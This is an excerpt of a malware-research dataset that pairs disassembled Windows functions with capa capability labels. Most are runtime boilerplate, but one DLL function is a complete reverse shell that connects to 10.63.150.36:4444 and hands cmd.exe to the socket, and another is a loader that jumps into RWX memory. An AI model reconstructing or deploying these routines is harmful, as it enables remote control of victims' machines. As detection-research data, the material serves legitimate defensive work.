joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140051000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14005107a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140051070
cmp r11, r10
ja 0x140051111
cmp r10, rdx
ja 0x140051123
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140051072
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140051050
jmp 0x1400510e7
ja 0x14005107a
mov r11, r10
cmp rax, r8
jne 0x140051022
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400510eb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400510c0
mov r8, r10
sub ecx, r9d
jns 0x1400510de
jmp 0x1400510ed
cmp r10, rdx
je 0x1400510f9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x1400510ed
xor al, 1
cmp r8, rdx
jne 0x1400510a0
jmp 0x1400510ed
xor eax, eax
jmp 0x1400510ed
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x14005d99b]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140053b20
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400540f0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140054070
int3

Function at 0x140052c9c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140052ce6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140052ce6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140052ce6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140052ce6
cmp dword [rcx + 0x84], 0xe
jbe 0x140052ce6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140052ce8
xor al, al
add rsp, 0x28
ret
Function at 0x6fa013b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x80]
lea rax, [sym.mydll.dll_wsaData]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov rdx, rax
lea rax, [sym.mydll.dll_s1]
mov qword [rax], rdx
lea rax, [sym.mydll.dll_hax]
mov word [rax], 2
mov ecx, 0x115c
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov edx, eax
lea rax, [sym.mydll.dll_hax]
mov word [rax + 2], dx
lea rcx, str.10.63.150.36
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov edx, eax
lea rax, [sym.mydll.dll_hax]
mov dword [rax + 4], edx
lea rax, [sym.mydll.dll_s1]
mov rcx, qword [rax]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rax, [sym.mydll.dll_hax]
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [sym.mydll.dll_sui]
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [sym.mydll.dll_sui]
mov dword [rax], 0x68
lea rax, [sym.mydll.dll_sui]
mov dword [rax + 0x3c], 0x101
lea rax, [sym.mydll.dll_s1]
mov rax, qword [rax]
mov rdx, rax
lea rax, [sym.mydll.dll_sui]
mov qword [rax + 0x60], rdx
lea rax, [sym.mydll.dll_sui]
mov rdx, qword [rax + 0x60]
lea rax, [sym.mydll.dll_sui]
mov qword [rax + 0x58], rdx
lea rax, [sym.mydll.dll_sui]
mov rdx, qword [rax + 0x58]
lea rax, [sym.mydll.dll_sui]
mov qword [rax + 0x50], rdx
movabs rax, 0x6578652e646d63
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x28]
mov eax, 0
mov ecx, 0x1f
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp - 0x30]
lea rdx, [sym.mydll.dll_pi]
mov qword [rsp + 0x48], rdx
lea rdx, [sym.mydll.dll_sui]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
nop
add rsp, 0x158
pop rdi
pop rbp
ret
Function at 0x6fa019a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6fa075e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6fa01b28
mov rax, qword [0x6fa075e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6fa019ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6fa01a75
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6fa019d0
mov rcx, rbx
call fcn.6fa02640
test rax, rax
mov r12, rax
je 0x6fa01b5d
mov rax, qword [0x6fa075e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.6fa02770
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6fa075e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6fa01b40
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6fa01a6e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6fa01ad0
add dword [0x6fa075e4], 1
cmp edi, 8
jae 0x6fa01aa3
test dil, 4
jne 0x6fa01b14
test edi, edi
je 0x6fa01a98
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6fa01b2f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6fa01a98
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6fa01abc
jmp 0x6fa01a98
add rsi, qword [0x6fa075e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6fa01a6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6fa02c30
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6fa01a98
xor esi, esi
jmp 0x6fa019f7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6fa01a98
mov rax, qword [0x6fa075e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.6fa02c30
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.6fa02c30
nop
nop dword [rax]

Function at 0x6fa022b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6fa078c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6fa078a0]
test rbx, rbx
je 0x6fa02304
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6fa022fb
test rsi, rsi
je 0x6fa022fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6fa022e0
lea rcx, [0x6fa078c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6fa02640
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6fa041f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6fa026ad
mov rcx, r8
call fcn.6fa02520
test eax, eax
je 0x6fa026ad
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6fa026ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6fa026a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6fa026af
add rax, 0x28
cmp rax, r9
jne 0x6fa02690
xor eax, eax
add rsp, 0x28
ret

Function at 0x6fa02c30
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x6fa013a0]
jmp 0x6fa01380
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6fa02b30
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.6fa02b30
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x6fa01390
Function at 0x1400118d0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x14003dc18]
xor rax, rsp
mov qword [rsp + 0x120], rax
test rcx, rcx
mov rbx, rdx
mov rdi, rcx
jne 0x140011905
call fcn.14000e8b8
int3
test rdx, rdx
jne 0x140011910
call fcn.14000e8b8
int3
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x20], 0
mov esi, eax
call fcn.14001e4d0
mov r8d, 0x100
cmp esi, r8d
ja 0x140011961
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, esi
jne 0x140011961
lea rcx, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14001196d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowTextA]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.14001c740
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140014d98
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, ecx
call fcn.140010b50
mov rbx, rax
mov rax, qword [rax + 0x78]
test rax, rax
je 0x140014dcf
mov rcx, qword [rax + 0x40]
test rcx, rcx
je 0x140014dcf
xor r9d, r9d
xor r8d, r8d
mov edx, 0x401
call qword [sym.imp.USER32.dll_SendMessageA]
test edi, edi
mov rbx, qword [rbx + 0xa0]
je 0x140014dff
test rbx, rbx
je 0x140014dff
mov ecx, 1
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x140014dff
mov rax, qword [rbx]
or rdx, 0xffffffffffffffff
mov rcx, rbx
call qword [rax + 0x2d0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14001c500
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5b0
mov rbp, rcx
mov rcx, qword [0x140042f18]
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.140020be0
test rax, rax
je 0x14001c554
mov r10, qword [rsp + 0x5e0]
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], r10
call rax
jmp 0x14001c5e9
mov ecx, 2
call fcn.140020a10
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.14001e4d0
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x14001c5d5
test ebx, ebx
jne 0x14001c5d5
lea ecx, [rax + 2]
call fcn.140020a10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14001c610
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x5b8
mov rcx, qword [0x140042f18]
call fcn.140020be0
test rax, rax
je 0x14001c645
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], 0
call rax
add rsp, 0x5b8
ret
mov ecx, 2
mov qword [rsp + 0x5b0], rbx
call fcn.140020a10
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.14001e4d0
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x14001c6ce
test ebx, ebx
jne 0x14001c6ce
lea ecx, [rax + 2]
call fcn.140020a10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rbx, qword [rsp + 0x5b0]
add rsp, 0x5b8
ret

Function at 0x14001d670
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rcx, 0x6f962775
jmp 0x140003163
dec rcx
jmp 0x140003442
jne 0x140003163
jmp 0x140003886
jmp 0x140003a85
jmp 0x140003b5b
jmp 0x140003b7c
jmp 0x140003bc9
jmp 0x140003c3e
jmp 0x140003c97
jmp 0x140003cd7
jmp 0x140003d3b
jmp 0x140003d6c
jmp 0x140003dec
jmp 0x140003e0c
jmp 0x140003e64
jmp 0x140003e9c
jmp 0x140003f02
jmp 0x140003f74
jmp 0x140003fca
jmp 0x140004018
jmp 0x140004067
jmp 0x1400040bb
jmp 0x1400040f5
xor rcx, rcx
mov rdx, 0x708f
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call 0x140004115
pop rsi
add rsi, 0xe5c
mov rdi, rax
mov rcx, 0x708f
rep movsb byte [rdi], byte [rsi]
jmp rax
sub rsp, 0x28
call fcn.140023e00
add rsp, 0x28
xor rcx, rcx
jmp 0x140002936
Function at 0x140020630
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
sub rsp, 0x30
lea r12, [0x14003ddc0]
xor esi, esi
mov edi, ecx
mov rax, r12
mov ebx, esi
nop
cmp ecx, dword [rax]
je 0x14002066e
add ebx, 1
add rax, 0x10
cmp ebx, 0x17
jb 0x140020650
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
cmp ebx, 0x17
jae 0x140020855
mov ecx, 3
call fcn.140029a80
cmp eax, 1
je 0x14002080c
mov ecx, 3
call fcn.140029a80
test eax, eax
jne 0x1400206a5
cmp dword [0x14003dc10], 1
je 0x14002080c
cmp edi, 0xfc
je 0x140020855
mov qword [rsp + 0x50], rbp
lea rbp, [0x140042fa0]
lea r8, str.Runtime_Error__n_nProgram:
mov rcx, rbp
mov edx, 0x314
call fcn.14001f0e0
test eax, eax
je 0x1400206e9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.14001c460
lea rdx, [0x140042fb9]
mov r8d, 0x104
xor ecx, ecx
mov byte [0x1400430bd], sil
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140020739
lea r8, str._program_name_unknown_
lea rcx, [0x140042fb9]
mov edx, 0x2fb
call fcn.14001f0e0
test eax, eax
je 0x140020739
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.14001c460
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x140042fb9]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 0x3c
jbe 0x140020788
lea rcx, [rcx + rbp - 0x23]
lea rdx, [0x1400432b4]
lea r9d, [rax + 3]
lea r8, [0x1400342d4]
sub rdx, rcx
call fcn.14001efc0
test eax, eax
je 0x140020788
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.14001c460
lea r8, [0x1400342d0]
mov edx, 0x314
mov rcx, rbp
call fcn.14001f330
test eax, eax
je 0x1400207b4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.14001c460
movsxd r8, ebx
mov edx, 0x314
mov rcx, rbp
add r8, r8
mov r8, qword [r12 + r8*8 + 8]
call fcn.14001f330
test eax, eax
je 0x1400207e4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.14001c460
lea rdx, str.Microsoft_Visual_C_Runtime_Library
mov r8d, 0x12010
mov rcx, rbp
call fcn.140029820
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x140020855
cmp rax, 0xffffffffffffffff
je 0x140020855
xor eax, eax
movsxd rcx, ebx
lea r9, [rsp + 0x58]
add rcx, rcx
mov qword [rsp + 0x20], rsi
mov rdx, qword [r12 + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x140020870
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
mov ecx, 3
call fcn.140029a80
cmp eax, 1
je 0x1400208a2
mov ecx, 3
call fcn.140029a80
test eax, eax
jne 0x140020956
cmp dword [0x14003dc10], 1
jne 0x140020956
mov qword [rsp + 0x48], rbx
lea rbx, [0x14003ddc0]
mov qword [rsp + 0x30], rdi
mov rax, rbx
xor edi, edi
cmp dword [rax], 0xfc
je 0x1400208ce
add edi, 1
add rax, 0x10
cmp edi, 0x17
jb 0x1400208b8
jmp 0x140020942
cmp edi, 0x17
jae 0x140020942
mov ecx, 3
call fcn.140029a80
cmp eax, 1
je 0x1400208f9
mov ecx, 3
call fcn.140029a80
test eax, eax
jne 0x140020942
cmp dword [0x14003dc10], 1
jne 0x140020942
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x140020942
cmp rax, 0xffffffffffffffff
je 0x140020942
movsxd rcx, edi
xor eax, eax
lea r9, [rsp + 0x40]
add rcx, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [rbx + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0xff
call fcn.140020630
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x38
ret

Function at 0x1400212a7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14003dc18]
jne 0x14001c75a
rol rcx, 0x10
test cx, 0xffff
jne 0x14001c756
repz ret
ror rcx, 0x10
jmp 0x140021200
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140043370]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140043468]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140021285
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140043370]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400212a7
mov rax, qword [rsp + 0x88]
mov qword [0x140043468], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140043408], rax
mov rax, qword [0x140043468]
mov qword [0x1400432e0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400433f0], rax
mov dword [0x1400432d0], 0xc0000409
mov dword [0x1400432d4], 1
mov rax, qword [0x14003dc18]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14003dc20]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140043368], eax
mov ecx, 1
call fcn.140020a10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140034348]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140043368], 0
jne 0x14002132e
mov ecx, 1
call fcn.140020a10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400237b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov eax, dword [0x140043d3c]
xor r12d, r12d
test eax, eax
mov ebp, r12d
jne 0x14002380c
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x1400237ec
mov dword [0x140043d3c], 1
jmp 0x14002381f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x140023806
mov dword [0x140043d3c], 2
jmp 0x140023889
mov eax, dword [0x140043d3c]
cmp eax, 1
jne 0x140023880
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x14002385a
cmp word [rdi], bp
mov rax, rdi
je 0x140023839
add rax, 2
cmp word [rax], bp
jne 0x140023827
add rax, 2
cmp word [rax], bp
jne 0x140023827
sub eax, edi
add eax, 2
movsxd rsi, eax
mov rcx, rsi
call fcn.140021350
test rax, rax
mov rbx, rax
jne 0x140023861
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x14002397b
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.14001e8b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbx
jmp 0x14002397b
cmp eax, 2
je 0x140023889
test eax, eax
jne 0x14002385a
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test rax, rax
mov rsi, rax
je 0x14002385a
cmp byte [rax], bpl
mov rbx, rax
je 0x1400238d8
nop
or r9d, 0xffffffff
mov r8, rbx
xor ecx, ecx
lea edx, [r9 + 2]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14002385a
or rcx, 0xffffffffffffffff
add ebp, eax
mov rdi, rbx
xor eax, eax
repne scasb al, byte [rdi]
not rcx
add rbx, rcx
cmp byte [rbx], al
jne 0x1400238a0
add ebp, 1
mov edx, 2
movsxd rcx, ebp
call fcn.1400213c0
test rax, rax
mov r12, rax
jne 0x1400238fd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
jmp 0x14002397b
cmp byte [rsi], 0
mov qword [rsp + 0x50], r13
mov rbx, rax
mov r13, rsi
je 0x140023965
nop
or r9d, 0xffffffff
mov eax, ebp
mov rcx, rbx
sub rcx, r12
lea edx, [r9 + 2]
mov r8, r13
sar rcx, 1
sub eax, ecx
xor ecx, ecx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14002398e
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r13
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
add r13, rcx
or rcx, 0xffffffffffffffff
repne scasw ax, word [rdi]
cmp byte [r13], al
not rcx
lea rbx, [rbx + rcx*2]
jne 0x140023910
mov rcx, rsi
mov word [rbx], 0
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov rax, r12
mov r13, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov rcx, r12
call fcn.14001ce20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
jmp 0x140023976